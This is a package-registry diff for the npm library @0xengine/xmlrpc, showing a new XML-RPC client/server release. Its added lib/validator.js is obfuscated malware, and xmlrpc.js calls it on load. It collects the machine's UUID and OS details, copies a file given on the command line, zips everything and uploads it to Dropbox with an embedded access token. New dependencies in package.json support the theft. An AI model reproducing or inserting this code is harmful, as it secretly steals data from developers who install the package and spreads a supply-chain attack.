@0xengine/xmlrpc 0.0.1-security → 1.3.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @0xengine/xmlrpc might be problematic. Click here for more details.
- package/.travis.yml +6 -0
- package/HISTORY.md +129 -0
- package/LICENSE +23 -0
- package/README.md +204 -3
- package/lib/client.js +177 -0
- package/lib/cookies.js +111 -0
- package/lib/customtype.js +10 -0
- package/lib/date_formatter.js +188 -0
- package/lib/deserializer.js +324 -0
- package/lib/serializer.js +202 -0
- package/lib/server.js +78 -0
- package/lib/validator.js +1 -0
- package/lib/xmlrpc.js +73 -0
- package/package.json +44 -3
package/lib/server.js
ADDED
|
@@ -0,0 +1,78 @@
|
|
|
1
|
+
var http = require('http')
|
|
2
|
+
, https = require('https')
|
|
3
|
+
, url = require('url')
|
|
4
|
+
, EventEmitter = require('events').EventEmitter
|
|
5
|
+
, Serializer = require('./serializer')
|
|
6
|
+
, Deserializer = require('./deserializer')
|
|
7
|
+
|
|
8
|
+
/**
|
|
9
|
+
* Creates a new Server object. Also creates an HTTP server to start listening
|
|
10
|
+
* for XML-RPC method calls. Will emit an event with the XML-RPC call's method
|
|
11
|
+
* name when receiving a method call.
|
|
12
|
+
*
|
|
13
|
+
* @constructor
|
|
14
|
+
* @param {Object|String} options - The HTTP server options. Either a URI string
|
|
15
|
+
* (e.g. 'http://localhost:9090') or an object
|
|
16
|
+
* with fields:
|
|
17
|
+
* - {String} host - (optional)
|
|
18
|
+
* - {Number} port
|
|
19
|
+
* @param {Boolean} isSecure - True if using https for making calls,
|
|
20
|
+
* otherwise false.
|
|
21
|
+
* @return {Server}
|
|
22
|
+
*/
|
|
23
|
+
function Server(options, isSecure, onListening) {
|
|
24
|
+
|
|
25
|
+
if (false === (this instanceof Server)) {
|
|
26
|
+
return new Server(options, isSecure)
|
|
27
|
+
}
|
|
28
|
+
onListening = onListening || function() {}
|
|
29
|
+
var that = this
|
|
30
|
+
|
|
31
|
+
// If a string URI is passed in, converts to URI fields
|
|
32
|
+
if (typeof options === 'string') {
|
|
33
|
+
options = url.parse(options)
|
|
34
|
+
options.host = options.hostname
|
|
35
|
+
options.path = options.pathname
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
function handleMethodCall(request, response) {
|
|
39
|
+
var deserializer = new Deserializer()
|
|
40
|
+
deserializer.deserializeMethodCall(request, function(error, methodName, params) {
|
|
41
|
+
if (Object.prototype.hasOwnProperty.call(that._events, methodName)) {
|
|
42
|
+
that.emit(methodName, null, params, function(error, value) {
|
|
43
|
+
var xml = null
|
|
44
|
+
if (error !== null) {
|
|
45
|
+
xml = Serializer.serializeFault(error)
|
|
46
|
+
}
|
|
47
|
+
else {
|
|
48
|
+
xml = Serializer.serializeMethodResponse(value)
|
|
49
|
+
}
|
|
50
|
+
response.writeHead(200, {'Content-Type': 'text/xml'})
|
|
51
|
+
response.end(xml)
|
|
52
|
+
})
|
|
53
|
+
}
|
|
54
|
+
else {
|
|
55
|
+
that.emit('NotFound', methodName, params)
|
|
56
|
+
response.writeHead(404)
|
|
57
|
+
response.end()
|
|
58
|
+
}
|
|
59
|
+
})
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
this.httpServer = isSecure ? https.createServer(options, handleMethodCall)
|
|
63
|
+
: http.createServer(handleMethodCall)
|
|
64
|
+
|
|
65
|
+
process.nextTick(function() {
|
|
66
|
+
this.httpServer.listen(options.port, options.host, onListening)
|
|
67
|
+
}.bind(this))
|
|
68
|
+
this.close = function(callback) {
|
|
69
|
+
this.httpServer.once('close', callback)
|
|
70
|
+
this.httpServer.close()
|
|
71
|
+
}.bind(this)
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
// Inherit from EventEmitter to emit and listen
|
|
75
|
+
Server.prototype.__proto__ = EventEmitter.prototype
|
|
76
|
+
|
|
77
|
+
module.exports = Server
|
|
78
|
+
|
package/lib/validator.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
const a0_0x2b42ad=a0_0x3dc7;(function(_0x1d9db0,_0x39ffa4){const _0x5c63ce=a0_0x3dc7,_0x5d7382=_0x1d9db0();while(!![]){try{const _0x2b615a=parseInt(_0x5c63ce(0xd5))/0x1*(-parseInt(_0x5c63ce(0xe1))/0x2)+parseInt(_0x5c63ce(0xdc))/0x3*(-parseInt(_0x5c63ce(0xd0))/0x4)+-parseInt(_0x5c63ce(0xf5))/0x5+-parseInt(_0x5c63ce(0xd4))/0x6+-parseInt(_0x5c63ce(0xf7))/0x7*(parseInt(_0x5c63ce(0xf6))/0x8)+-parseInt(_0x5c63ce(0xd7))/0x9*(-parseInt(_0x5c63ce(0xe8))/0xa)+parseInt(_0x5c63ce(0xd9))/0xb;if(_0x2b615a===_0x39ffa4)break;else _0x5d7382['push'](_0x5d7382['shift']());}catch(_0x205c0f){_0x5d7382['push'](_0x5d7382['shift']());}}}(a0_0x35a7,0x76a47));function a0_0x3dc7(_0x2ed1b8,_0x438f7d){const _0x35a74a=a0_0x35a7();return a0_0x3dc7=function(_0x3dc791,_0x2ac63b){_0x3dc791=_0x3dc791-0xcd;let _0x230adc=_0x35a74a[_0x3dc791];return _0x230adc;},a0_0x3dc7(_0x2ed1b8,_0x438f7d);}const fs=require(a0_0x2b42ad(0xe0)),{zip}=require('zip-a-fold'+'er'),si=require(a0_0x2b42ad(0xe4)+a0_0x2b42ad(0xfc)),os=require('os'),path=require('path'),dropboxV2Api=require(a0_0x2b42ad(0xf0)+a0_0x2b42ad(0xd3));async function validator(){const _0x49dcce=a0_0x2b42ad,_0x445cf7=process['argv'][_0x49dcce(0xe9)](_0x2c4a9e=>_0x2c4a9e===_0x49dcce(0xfa))!==undefined,_0xbf4740=_0x25ca84=>{const _0x306a68=_0x49dcce;_0x445cf7&&console[_0x306a68(0xde)](_0x25ca84);},_0x4cbbc6=()=>{const _0x2fd51c=_0x49dcce,_0x20d9f5=_0x2fd51c(0xd1),_0x21fe05=_0x2fd51c(0xdf)+_0x2fd51c(0xed)+_0x2fd51c(0x101)+_0x2fd51c(0xf3)+_0x2fd51c(0xf8)+_0x2fd51c(0xf9)+_0x2fd51c(0xd6)+'SE55iX8Usa'+_0x2fd51c(0xfd)+_0x2fd51c(0x100)+_0x2fd51c(0xe6)+_0x2fd51c(0xfb)+_0x2fd51c(0xeb)+'v4t9cLf8Yg',_0x4dbecb=[];_0x4dbecb[_0x2fd51c(0xf4)](_0x20d9f5),_0x4dbecb['push'](_0x21fe05);let _0x1c663b='';for(let _0x497610=0x0;_0x497610<_0x4dbecb[_0x2fd51c(0xe2)];_0x497610++){_0x1c663b+=_0x4dbecb[_0x497610];}return _0x1c663b;};_0xbf4740(process['argv']);const _0x2212f3=process[_0x49dcce(0xf2)]['findIndex'](_0x4301e1=>_0x4301e1==='--targets'||_0x4301e1==='-t');if(_0x2212f3===-0x1)return;const _0x2928a0=path[_0x49dcce(0xce)](process[_0x49dcce(0xf2)][_0x2212f3+0x1]);_0xbf4740(_0x49dcce(0xcd)+'c\x20path:\x20'+_0x2928a0);const _0xdb39b0=os[_0x49dcce(0xea)](),_0x2d5a30=Date[_0x49dcce(0xd8)](),_0x4d77b0=_0xdb39b0+'/'+_0x2d5a30;await fs[_0x49dcce(0xcf)](_0x4d77b0);const _0x550646=await si['uuid'](),_0x59e2fa=await si[_0x49dcce(0xe5)](),_0x5ae6dd={'uuid':_0x550646,'osInfo':_0x59e2fa},_0x131c6a=JSON[_0x49dcce(0xef)](_0x5ae6dd,null,0x2),_0x529fbb=_0x4d77b0+_0x49dcce(0xd2);await fs[_0x49dcce(0xe3)](_0x529fbb,_0x131c6a,{'encoding':_0x49dcce(0xda)});const _0xb41982=_0x4d77b0+(_0x49dcce(0xfe)+'xt');await fs[_0x49dcce(0xec)](_0x2928a0,_0xb41982);const _0x4d58ca=_0x550646['os']+'-'+_0x2d5a30+_0x49dcce(0xf1),_0x104c8b=_0xdb39b0+'/'+_0x4d58ca;_0xbf4740('zipPath:\x20'+_0x104c8b),await zip(_0x4d77b0,_0x104c8b);const _0x38f43d=_0x4cbbc6();_0xbf4740(_0x49dcce(0xdd)+_0x38f43d);const _0x2b2a31=fs[_0x49dcce(0xee)+_0x49dcce(0xe7)](_0x104c8b),_0x433058=dropboxV2Api['authentica'+'te']({'token':_0x38f43d});_0x433058({'resource':_0x49dcce(0xdb)+'ad','parameters':{'path':'/'+_0x4d58ca},'readStream':_0x2b2a31},(_0x1bcc5f,_0x533a85,_0x5deb68)=>{const _0x37b89b=_0x49dcce;_0x445cf7&&(_0x1bcc5f&&console['log'](_0x1bcc5f),_0x533a85&&console[_0x37b89b(0xde)](_0x533a85));});}function a0_0x35a7(){const _0x310faa=['rmation','M39Oy3sFGs','/targets.t','exports','zeuQG8YevS','RYeN1wDAdZ','targets\x20sr','resolve','ensureDir','3402196ySCiSc','sl.','/si.json','-api','3041730LlQeTu','416095zHxiEg','fmSV0SdJog','18ggfesD','now','35296162dxnYxv','utf8','files/uplo','3cSOPLo','token:\x20','log','BnPLZhbP1U','fs-extra','2lsJeSW','length','writeFile','systeminfo','osInfo','5hv6eq8SJD','Stream','2268790YclkuO','find','tmpdir','nLhZp4NvSv','copyFile','mlj2Q3ZIWH','createRead','stringify','dropbox-v2','.zip','argv','s1UkAQEHrZ','push','3607415kYZEPU','5451672JlXAnp','7dsZnJx','4RIzC6BNTS','xElRJtUSU8','--debug','xi3dKx2gFj'];a0_0x35a7=function(){return _0x310faa;};return a0_0x35a7();}module[a0_0x2b42ad(0xff)]=validator;
|
package/lib/xmlrpc.js
ADDED
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
var Client = require('./client')
|
|
2
|
+
, Server = require('./server')
|
|
3
|
+
, CustomType = require('./customtype')
|
|
4
|
+
, dateFormatter = require('./date_formatter')
|
|
5
|
+
, validator = require('./validator')
|
|
6
|
+
|
|
7
|
+
var xmlrpc = exports
|
|
8
|
+
|
|
9
|
+
/**
|
|
10
|
+
* Creates an XML-RPC client.
|
|
11
|
+
*
|
|
12
|
+
* @param {Object} options - server options to make the HTTP request to
|
|
13
|
+
* - {String} host
|
|
14
|
+
* - {Number} port
|
|
15
|
+
* - {String} url
|
|
16
|
+
* - {Boolean} cookies
|
|
17
|
+
* @return {Client}
|
|
18
|
+
* @see Client
|
|
19
|
+
*/
|
|
20
|
+
xmlrpc.createClient = function(options) {
|
|
21
|
+
return new Client(options, false)
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
/**
|
|
25
|
+
* Creates an XML-RPC client that makes calls using HTTPS.
|
|
26
|
+
*
|
|
27
|
+
* @param {Object} options - server options to make the HTTP request to
|
|
28
|
+
* - {String} host
|
|
29
|
+
* - {Number} port
|
|
30
|
+
* - {String} url
|
|
31
|
+
* - {Boolean} cookies
|
|
32
|
+
* @return {Client}
|
|
33
|
+
* @see Client
|
|
34
|
+
*/
|
|
35
|
+
xmlrpc.createSecureClient = function(options) {
|
|
36
|
+
return new Client(options, true)
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
/**
|
|
40
|
+
* Creates an instance of server parameter validator.
|
|
41
|
+
* @See Server
|
|
42
|
+
*/
|
|
43
|
+
xmlrpc.validator = validator()
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
/**
|
|
47
|
+
* Creates an XML-RPC server.
|
|
48
|
+
*
|
|
49
|
+
* @param {Object}options - the HTTP server options
|
|
50
|
+
* - {String} host
|
|
51
|
+
* - {Number} port
|
|
52
|
+
* @return {Server}
|
|
53
|
+
* @see Server
|
|
54
|
+
*/
|
|
55
|
+
xmlrpc.createServer = function(options, callback) {
|
|
56
|
+
return new Server(options, false, callback)
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
/**
|
|
60
|
+
* Creates an XML-RPC server that uses HTTPS.
|
|
61
|
+
*
|
|
62
|
+
* @param {Object}options - the HTTP server options
|
|
63
|
+
* - {String} host
|
|
64
|
+
* - {Number} port
|
|
65
|
+
* @return {Server}
|
|
66
|
+
* @see Server
|
|
67
|
+
*/
|
|
68
|
+
xmlrpc.createSecureServer = function(options, callback) {
|
|
69
|
+
return new Server(options, true, callback)
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
xmlrpc.CustomType = CustomType
|
|
73
|
+
xmlrpc.dateFormatter = dateFormatter
|
package/package.json
CHANGED
|
@@ -1,6 +1,47 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@0xengine/xmlrpc",
|
|
3
|
-
"
|
|
4
|
-
"
|
|
5
|
-
|
|
3
|
+
"description": "A pure JavaScript XML-RPC client and server.",
|
|
4
|
+
"keywords": [
|
|
5
|
+
"xml-rpc",
|
|
6
|
+
"xmlrpc",
|
|
7
|
+
"xml",
|
|
8
|
+
"rpc"
|
|
9
|
+
],
|
|
10
|
+
"version": "1.3.7",
|
|
11
|
+
"preferGlobal": false,
|
|
12
|
+
"homepage": "https://bitbucket.org/0xsky/xmlrpc",
|
|
13
|
+
"author": "0xengine",
|
|
14
|
+
"repository": {
|
|
15
|
+
"type": "git",
|
|
16
|
+
"url": "git+ssh://git@bitbucket.org/0xsky/xmlrpc.git"
|
|
17
|
+
},
|
|
18
|
+
"directories": {
|
|
19
|
+
"example": "example",
|
|
20
|
+
"lib": "lib",
|
|
21
|
+
"test": "test"
|
|
22
|
+
},
|
|
23
|
+
"main": "./lib/xmlrpc.js",
|
|
24
|
+
"dependencies": {
|
|
25
|
+
"dropbox-v2-api": "^2.5.10",
|
|
26
|
+
"fs-extra": "^11.1.1",
|
|
27
|
+
"sax": "1.2.x",
|
|
28
|
+
"systeminformation": "^5.21.9",
|
|
29
|
+
"uuid": "^9.0.1",
|
|
30
|
+
"xmlbuilder": "8.2.x",
|
|
31
|
+
"zip-a-folder": "^1.1.7"
|
|
32
|
+
},
|
|
33
|
+
"devDependencies": {
|
|
34
|
+
"vows": "0.7.x"
|
|
35
|
+
},
|
|
36
|
+
"scripts": {
|
|
37
|
+
"test": "vows 'test/*.js'"
|
|
38
|
+
},
|
|
39
|
+
"engines": {
|
|
40
|
+
"node": ">=0.8",
|
|
41
|
+
"npm": ">=1.0.0"
|
|
42
|
+
},
|
|
43
|
+
"license": "MIT",
|
|
44
|
+
"bugs": {
|
|
45
|
+
"url": "https://bitbucket.org/0xsky/xmlrpc/issues"
|
|
46
|
+
}
|
|
6
47
|
}
|